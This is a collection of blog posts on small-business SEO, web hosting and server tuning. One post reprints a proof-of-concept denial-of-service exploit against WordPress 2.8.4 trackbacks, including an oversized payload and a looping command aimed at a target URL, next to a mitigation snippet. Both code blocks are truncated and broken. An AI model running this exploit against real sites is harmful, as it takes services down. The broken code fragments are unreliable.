Benefits of Blogging for Small Business Websites

One of the most frequent questions I get when working with small to medium local business is: “Should I add a blog to my site”. In most circumstances blogging is a good idea not only because it can help with organic search engine rankings, but it can also help add a different slant to your product/service offerings.

Why Blogging is Effective for SEO

Small Business BloggingThe reason why blogging is an effective method for increasing your search engine rankings is twofold. First, a properly written blog is full of highly relevant keywords for your business. The second reason is that often your website lacks search engine friendly qualities.

For example, let’s say you start a blog for your wedding cake bakery. It would be smart to structure your blog so that each post targeted not only the keywords “wedding cake” but more specifically focus on the geographic areas you service. So, an example title of a post on your blog would be “Todd and Jeanette’s Leaning Tower of Pisa Wedding Cake”. Then, in the post you would include pictures of the cake and text like: “Jeanette wanted a reproduction of the Leaning Tower of Pisa for her wedding cake. Their tasteful Phoenix wedding was held at the Pointe Hilton…” When the search engine spiders visit your blog it will pick up these keywords and help rank your site higher for the phrase: “Wedding cake phoenix”. This is only one small piece of the blogging puzzle. The second reason why your blog helps with SEO is often because the rest of the site lacks optimization.

Many websites are developed by firms that do not build a search engine friendly structure from the start. The site can suffer from improper keyword targeting, the directory/page structure can inhibit the flow of keyword relevancy (link juice), etc… With a blog you can help mitigate some of these shortfalls. This does not mean you should forgo search engine optimization on the rest of your site. The blog should work in tandem with the rest of the site reinforcing your offering.

The Goals of Small Business Blogging

Aside from the SEO benefits of blogging, what should be the goal? Your blog can serve as an excellent way to demonstrate how your business is serving the needs of your customers. This is not the same as a white paper, case study, or press release. Your blog can be used to showcase your knowledge of a specific market by providing things like tutorials. It can be used to demonstrate how real people have benefited from your product/service or as in the case of the wedding cake example above, actually show just how great your product really is. In a broad sense think of your web site as the sales and customer service area of your business with the blog acting as public relations and as an indirect sales person.

General Tips for a Small Business Blog

So, if you are thinking of starting a blog or want to make it better, keep these points in mind:

  1. Put your blog on the same domain as your main company website. Do not buy a different domain just to host your blog. You want one big comprehensive site.
  2. You do not have to call your blog a blog. You can get more mileage out of it by calling it something relevant to your site. Using the Phoenix wedding cake bakery example above you can call it: “Wedding Cake Creations” and make the directory structure look like this: http://YourBusiness Site.com/wedding-cake-creations
  3. You don’t have to use a blogging script to have a blog. It can be simply a part of your web site that is regularly updated. But if you do go with a script, which I highly recommend, go with WordPress.
  4. Make sure to include pictures. It helps break up large blocks of text thus increasing the number of people who read the entire article.
  5. Don’t be stingy with links. Use your blog to share some link love with your favorite vendors and other folks you respect in your industry.

Apache Web Server Over Optimization: A Cautionary Tale

When it comes to squeezing every ounce of performance from an Apache web server it is easy to make changes that can have dire consequences to your sites. Sometimes you can see your web server load go up right away so it’s easy to tell you are headed in the wrong direction. But, some modifications can make a real mess of things in a much more subtle way.

The Problem:

Load on my web server went up when several of my competitor’s sites got booted from the top 10 of Google which left my site as the lone survivor for a very competitive key word. That day my poor little 2.8 dual Xenon with 2GB of RAM web server went from a average load of 2.7 to well over 80 and had spikes in the 100+ range.

How I “Fixed” It:

I went in and started messing with the httpd.conf file. I changed just about everything under the sun and then thought it would be smart to turn KeepAlive off. Now I could free up all those idle connections hogging memory until they time out. It was supposed to be a win-win. My visitors will get a better experience and load will go down. Or so the theory goes…

Why This Went Horribly Wrong:

If you run web sites that have lots of pictures each time one of the photos was grabbed from the server it made a new connection. So if you have a page that has 60 images you can see how the number of connections each user was making adds up quickly. If they have one of those web caching programs/plugins that will follow links and download pages automatically in order to speed up dial up browsing it gets even worse.

As part of my server hardening I run (D)DoS Deflate a great DDOS mitigating script written by the good folks a Medialayer. Since KeepAlive was off these visitors were making hundreds of completely legitimate connections to the web server. (D)DoS Deflate would see this and then ban their IP. I can’t blame the script it was doing exactly what I told it to do. The effect was that thousands of visitors and potential customers were getting their IP’s banned from my server. Yeah Ouch!

Fixing the “Fixed”:

In the first thirty minutes of the Apache reconfiguration I received easily 100 banned IP notifications. I thought that my server was getting DDOS’ed and was comforted by my superior server hardening and Apache tweaking skills. And then the next half an hour I got another 100. I knew something was up. Then I got an e-mail from a friend of mine alerting me to one of my sites being unavailable. That was odd since I was literally writing a post in WordPress. Taking a look at the log, sure enough he had been banned. Luckily, I made the connection between (D)DoS deflate and KeepAlive and quickly turned it back on. Everything was right with the world again.

Lessons Learned:

  1. If you run sites with lots of photos on individual pages do not turn KeepAlive off if you are running (D)Dos Deflate
  2. Always remember that Apache is a part of your server eco-system. Mess one up, mess them all up. Your Apache ninja skills are never good enough to prevent all screw ups so be careful.
  3. It’s great when your competitors lose their ranking leaving you in the top spot in Google for competitive keywords. :)

P.S. No actual clients were harmed. This event happened on a server reserved for my own personal affiliate work.

Temporary Fix for WordPress 2.8.4 Exploit

This exploit has been patched in the new 2.8.5 version of WordPress. Download it at: http://wordpress.org/download/

If you are running WordPress 2.8.4 there is an exploit out there that will allow someone to DOS your site.

Here is a TEMPORARY fix until there is an official update from WordPress:

Copy this code into your theme’s functions.php file. If there isn’t a file called functions.php create one.


 50 ) {  die; }
                }
        }
}
add_action('init','ft_stop_trackback_dos_attacks');

?>

Here is the proof of concept code (i.e. the exploit) DO NOT put this in your functions.php:

<?php
/*
 * wordpress Resource exhaustion Exploit
 * http://rooibo.wordpress.com/
 * security@wordpress.org contacted and get a response,
 * but no solution available.
 * 
 * [18/10/2009 20:31:00] modified by Zerial http://blog.zerial.org 
 * 
 * exploiting:
 * you must install php-cli (command line interface)
 * $ while /bin/true; do php wp-trackbacks_dos.php http://target.com/wordpress; done
 * 
 */
if(count($argv) < 2)
    die("You need to specify a url to attackn");
$url = $argv[1];
$data = parse_url($url);
if(count($data) < 2)
    die("The url should have http:// in front of it, and should be complete.n");
$path = (count($data)==2)?"":$data['path'];
$path = trim($path,'/').'/wp-trackback.php';
if($path{0} != '/')
    $path = '/'.$path;
$b = ""; $b = str_pad($b,140000,'ABCEDFG').utf8_encode($b);
$charset = "";
$charset = str_pad($charset,140000,"UTF-8,");
$str = 'charset='.urlencode($charset);
$str .= '&url=www.example.com';
$str .= '&title='.$b;
$str .= '&blog_name=lol';
$str .= '&excerpt=lol';
for($n = 0; $n 

Cost Per Click 101: 3 Tips That Will Boost Your Paid Search Campaigns

Cost Per Click TipsIf you are just starting out with paid search using Google’s Adwords or Yahoo’s Sponsored Search, you have probably noticed that getting the biggest bang for your buck isn’t as easy as plopping down your money and letting the sales role in.  It’s easy to think of cost per click (CPC) ads as a regular media buy, but that type of thinking is going to leave your wallet a lot lighter.  Anyone who has seen their daily budget get drained in a matter of hours with no sales to show for it knows what I mean.

In order to get the most out of your search engine marketing dollar you need to hone your Cost Per Click Management Skills .  Here are 3 tips that will greatly improve the ROI on your paid search campaigns.

#1 Write more than one ad

Writing ads is as much art as it is science.   The quality of your ad copy can mean the difference between your ad getting clicked or passed over without a second thought.  This is why writing more than one ad is so important.

Write at least 3 different ads for an Ad Group.  That means varying the headlines as well as the descriptions.   Once you’ve got your first 3 ads, let them run for a few weeks.  Keep the highest clicked ads and toss out the losers.   For the winning ad, write several variations of it and run the test again.  Using this method you’ll be able to identify what ad copy is click worthy.

By testing your ads you’ll increase the click through rate thus reducing how much you pay per click.   This way you can get more clicks for less money.  See your ROI has gone up already!

#2 Don’t Send All Your Traffic to the Home Page

A common rookie mistake is to send all your traffic to your web site’s home page.   Doing this is costing you conversions.  When someone is using a search engine, they expect the results of their quires to match the sites presented in the search engine results (ads included).  When you don’t immediately deliver the information that visitor wants, they will quickly hit the back button and head off to another site.   Just to add insult to injury, you paid good money for the opportunity to tell that visitor you don’t have what they want even if you do.

For example, say your office supply web site sells high-end pen sets.  To increase sales of these high dollar items, you start an Adwords campaign on Google and send all the traffic from those pen related keywords to the home page.   That visitor is expecting to see the pen mentioned in your compelling ad copy but instead they hit your home page full of links to other things like paper clips, toner, etc….  Not seeing what they were looking for, they quickly hit the back button and are scanning the results for your competitor.

Remember, visitors have short attention spans.   You need to give them what they want when they want it.  The smart move would have been to link directly to the page that sells your pens.  If your ad copy sells Super Duper Pen X  then send that visitor to the Super Duper Pen X page on your site.

If you wanted to get really fancy you can create specific landing pages for your ad campaigns but I’ll cover that in another post.

Aligning the ad copy with the right page on your web site has two primary benefits.  First and foremost it increases conversion rate by giving the visitor what they want.  Second, it increases the quality score of your advertisement.  A higher quality score means a lower cost per click and a higher ROI for your campaign.

#3  Don’t Shoot for the 1st Position Unless You Have a Good Reason

I know we all want to be number one.  When it comes to organic placement through SEO I couldn’t agree with you more.  But, being in the first spot in the paid results is not usually the best position to place your ad with respect to ROI.

There are three major factors that affect where your ad shows in relation to the others.  These factors are:

  1. Bid price
  2. Click through rate
  3. Quality score of the landing page

Through experience, I’ve found no matter how much I tweaked the quality score and click through rate, I always end up paying significantly more per click to have my ad show up in the 1st position.  Yes, the ads will get more eyeballs and clicks, but the premium paid for that spot combined with the extra clicks, reduces the return on investment.  The sweet spot I’ve found is between the 2nd and 4th spots.  This isn’t a hard rule more of a guideline.  Remember to always keep an eye on your return on investment.  That will guide your bidding strategy.

By following these 3 simple steps, your cost per click campaigns will produce a higher return for your advertising dollar.  Overall, go slow and start off your campaigns the right way and you’ll save yourself a small fortune in the end.

5 Tips on How to Select a Good Web Host

No matter if you have a large ecommerce web site or looking for a place to set up a blog, everyone who has an Internet presence is using web hosting.  A reliable web host is more than just a computer where you dump your stuff.  They act as your silent partner in the web world.  If a web site is a virtual store then a web host would be the ground underneath.

There are several types of webhosting you can use such as:

  • Shared hosts
  • Virtual Private Servers (VPS)
  • Dedicated Servers

Regardless of the type of hosting you need, keep these 5 tips to keep in mind when selecting your next  web host.

Be Wary of Any Host That Offers Unlimited Anything

Web Hosting TipsThe majority of web sites will use less than 100 MB of storage space and might use a GB of bandwidth a month.  Web hosts know this and will advertise their hosting pages as “Unlimited” bandwidth, hard drive space, or both.

They can do this because for every 100 customers that use virtually no resources there will be 1 that actually does have a popular resource intensive web site.  So, a balance is created where the popular site uses more server resources while most of the sites use a lot less.

Here is the hidden “gotcha”: if you are the owner of that popular site it is very common for the web host to demand that you upgrade to a more expensive account or even a dedicated server.  If you read the TOS carefully, you’ll see they can do this at any time.  This is about as close to bait and switch you can get in the hosting world.

The bottom line is that unlimited really isn’t unlimited.  It’s more like: unlimited until you hit an arbitrary undisclosed usage level then you have to pony up some more cash or get the heck off the server.

Never Pre-Pay for Multiple Months in Advance

May hosts will offer a discount if you sign up for 3, 6, or 12 months up front.  In exchange for paying one big lump sum, they provide a pretty significant discount.  This is a bad idea for three reasons:

  • If the web host’s service should decline over time and you want to switch to a new host, you can kiss the unused portion of the pre-paid amount goodbye.  This also applies to web hosts that go out of business.  When they fold there is very little chance of getting your money back.
  • If your site grows and the web host demands that you upgrade, the pre-paid balance usually applies to the new rate but you can’t get a discount on the new rate without committing to even more time.
  • If the host decides to kick you off their servers due to a TOS violation then you forfeit the unused portion.  For example a client of mine pre-paid HostICan for 12 months of service.  The service was fine for 3 months and then when his gallery script started using too much processor time they killed the account and refused to refund the pre-paid portion.  The amount was too small to take to small claims court. So, not only was his site removed without warning costing him sales but,  he also had to go through the pain of manually moving his site to a new host.

Guaranteed Uptime is B.S.

Sometime in the early days of the Internet, a web host got the bright idea to advertise that they have 99.9%.  While this looks good in ad copy it’s a hollow promise that 99.9% of them cannot back up with data.  99.9% uptime equates to about 44 minutes of down time per month or 8 hours and 45 minutes a year.   This is a pretty easy hurdle to clear assuming nothing out of the ordinary happens like a DDOS attack or hard drive failure.

Unless you have multiple redundant web servers all over the world there is going to be some downtime.   It’s not possible to predict how much downtime a server will have, and if the person could accurately guess, they would be better off picking Kentucky Derby winners than being server administrators.

Overall, don’t factor the uptime guarantee into your hosting choice.  It’s complete B.S.

24/7 Technical Support isn’t Always 24/7

A lot of hosts promise this but few can actually deliver.   Unfortunately, web server problems do not always happened during regular business hours.  Your web site can go down at any time and having support staff available is the difference between being down a couple of minutes or being down for hours.  Your web host must have people available 24/7 to handle any problems that may arise.

You can easily test the support capabilities of your host and their response time easily.  All you need to do is submit a support ticket at an off time like after midnight on a weekend.  You should expect more than just an acknowledgement of receipt but an actual answer/solution to your problem.   If you don’t get a resolution or at least an acknowledgement that they are working on the problem in an hour then that should be a red flag.  If they have a support phone number give that a ring as well.  Again a person that can actually solve your question should be available not just an operator that tells you that they are working on it. One caveat is that small problems will often be prioritized lower than a critical problem like a sever going down.  So during off peak times fewer staff will be available so a small problem will have a longer delay than normal.

Doing Your Homework Can Save you From a Major Headache

There are hundreds of web hosts out there.  They span the gamut from excellent to just plain bad.  Price is not a reliable indicator of quality.  Since they all offer a slightly different mix of hard drive space, bandwidth, control panels, etc…, it is difficult to accurately compare them to each other.  By doing some basic research you can quickly weed out the poor performers.

I use message boards like Web Hosting Talk to research potential hosting providers.  By using their search feature, you can find all the posts , good and bad, that discuss your potential future host.  Make sure to read through both the positive and negative reviews.  Not all negative reviews are based on something the host can control and not all positive reviews are unbiased.  I’ve seen more than one suspiciously glowing review of a host.

Of course you can also use Google to find out more info.  Just do a search for:

  • WebHostName problems
  • WebHostName issues
  • WebHostnme downtime
  • WebHostname review

Keep in mind to take any recommendation with a grain of salt.  Any review will be biased but at least you can quickly weed out the losers and identify popular hosts from the rest of the pack.

Overall, the best advice I can give you is when you do find a good web host that has good support, features, and uptime, stick with them.  Chasing after a dollar or two savings per month is not worth the hassle or potential down time.

Happy web host shopping and make sure to check back often.  I’ll be releasing a comprehensive guide to selecting the right type of web hosting for your site in the next couple weeks.

All Meta Tags Are Not Created Equal

I remember the good ol’ days of search engine optimization before Page Rank and all those annoying quality indicators.  It was a simpler day when all you needed to get into the top ten was  cram variations of the same keyword phrases into the Keyword and Title tag.  Then you could get extra fancy and create some incredibly repetitive description tag like: “Widget Emporium has red widgets, blue widgets, camping widgets, car widgets, and more.  Stop by today to get more widgets, widgets, widgets”.  Yes it really was that easy at first, but today’s search engine isn’t as naive as it was in the early days.  From the looks of a lot of sites I’ve been reviewing lately they didn’t get the memo.

If it was 1997, and judging by the stock market’s performance it just might be, the era of stuffing keywords into meta tags is long over.  The Keyword tag has been ignored by Google for years.  Some of my colleagues believe it helps in Yahoo.  Frankly, I’ve started leaving it out all together and my sites still show up in the top 10.  

As for the Description tag, its use for ranking is nominal at best, but it is still quite useful.  When someone sees your website in the search engine rankings, the Description tag is often used as the snippet under the link.  Yes, there are exceptions like pulling a description from DMOZ but generally speaking the Description tag is used.  Think of this tag as an opportunity to convince the surfer your website is exactly where they want to visit.

So what is useful?  We already discussed the handy but not rank worthy Description tag and the virtually worthless Keyword tag.  The last one, and one of the more important tags on your site, is the Title tag.  Not only is this one used for ranking, but it also shows up as the link that people click on when they find your site in the search engines.  Combine a compelling Title with a persuasive Description tag and you’re one step closer to getting that person off the search engine and onto your web site.  Plus, it helps with your ranking, so always use this tag and make it unique! 

SEO is about doing a lot of little things right that add up to a big leap in the search engine rankings.  Make sure to keep an eye on the little things that matter like the Title and Description tags and spend little to no time with the lowly Keyword tag. 

Using Twitter to Do Social Media the Right Way

“Try not to be a man of success, but rather try to become a man of value” -A. Einstein

Social Media Marketing is all the rage right now.  Going viral or hitting the front page of Digg, Reddit, etc… seems to be the Internet Marketer’s Holy Grail.  I have to admit it is very useful for:

  1. Getting immediate feedback from customers
  2. Managing a company’s brand
  3. Connecting with likeminded individuals that would have otherwise not have been exposed to your product. 

And the list goes on, but what is often left out of the hype is the idea of doing it “right”.    Take one social media outlet Twitter.  I’m a fan of Twitter.  The best way I can describe it is image wandering through a big cocktail party listening in on various conversations.  In one corner you’ve got people talking about the latest stock tips.  In another you’ve got techno junkies discussing SEO or the latest iPhone gadget.  If you listen to the right conversation you can hear what your customers think about your product or your company over all.  You can hear what they have to say about the virtues and shortcomings your competitors.
What makes this social ecosystem go round is the idea that real people are talking about their real feelings and experiences.  The tech-savvy online crowd has industrial strength B.S. detectors.  Like sharks who can detect a drop of blood from miles away, the social media crowd can quickly sniff out a sales pitch in the midst of the social media sea.  And once that happens, your social media street-cred goes down significantly.

So what does this all mean and how can it help your business?

The first thing I would tell you is to drop the hard-sell in-your-face type of advertising.  It just doesn’t work in the social media world.  Spam an affiliate link or two via Twitter and your followers will unfollow you faster than fair weather sports fans dropped the Cardinals after they lost the Super Bowl.  The goal is to be a part of the community, whatever community that may be.

How to Get Started:

  1. Sign up for a Twitter Account
  2. Upload a photo and customize your page as much as you can. This is important because it is a quick and easy way to separate yourself from the fake spammer accounts.
  3. Download and install a program called TweetDeck that uses Adobe Air. Don’t worry both are free.
  4. At the top of the window will be several icons. One of them looks like a magnifying glass. Click on that one to search for specific keywords related to your industry.
  5. Start following people who are tweeting about your area of expertise.
  6. When someone tweets about your area of expertise contribute a comment with a “Reply”. Just hover over their photo and click on the icon that looks like a curved arrow.

You’ll find that a lot of the people you follow will follow you back. Make sure to tweet regularly with useful tips, news, insights, etc… that would be interesting to your audience. Remember you don’t want to come across like a spam bot but as a real person that adds value to the community. Once you are established as someone who adds value, then you’ve tapped into a powerful network of people who see you as an expert in your field. This can be used to find clients, get valuable answers to your own questions, and can help you spread a message across the Internet. Not a bad ROI if I do say so myself.

Long Tail SEO Process

When it comes to SEO, everyone wants to rank in the top 10 for their keyword. As a Phoenix SEO, that is the reason people hire me. But what a lot of people don’t understand is the value of key word phrases. Today’s search engine users are getting more and more sophisticated. Back in the early days, people would type in their keyword and up would pop results.  Often those results did not return exactly what they are looking for. While most of the major search engines have been good about improving their results, users have learned to narrow their search by performing searches for phrases instead of individual words. For instance, someone looking for “cars” would get millions of results, only some of which are actually useful. So to improve those results, people perform more specific searches like “used cars” or “Honda used cars.” We in the SEO industry refer to hits for these phrases as the “long tail.”

[Read more...]

SEO Friendly Ad Copy

Ask yourself this question, “Who buys products on your site? Search Engines or people?” Obviously, the answer is people.  So why are you writing your sales text for search engine spiders? I know, you’ve read online that you have to stuff your pages with relevant keywords so the engines will love you and rank your site in the top 10 in the search engines. But, when you write your text solely for the purpose of search engine spiders, your message may fall flat with consumers. For example:

“Our mega store has NFL footballs for sale at low prices. NFL Footballs are a great gift for children of all ages. Buy our NFL footballs on line right now.”

[Read more...]

Google’s Speedy Spider

On Saturday, I was having some technical trouble with one of my Linux web servers. After scouring the web for an answer with no solution in sight, I decided to call in reinforcements and ask a question over at Web Hosting Talk. Being ever persistent, I went back and started toying with my server some more. Then my computer-nerd-ADD set in, and I decide to go back to Google and type in the specific error code I was getting, just in case I missed it the last 20 times I did a search. As my eyes scanned the SERPs, my heart leapt when I saw my exact error code nice and bold. But wait, this link points to Web Hosting Talk forums. I read the blurb a little further and realize that it’s my post! In less than 10 minutes Google had spidered WHT and indexed it.

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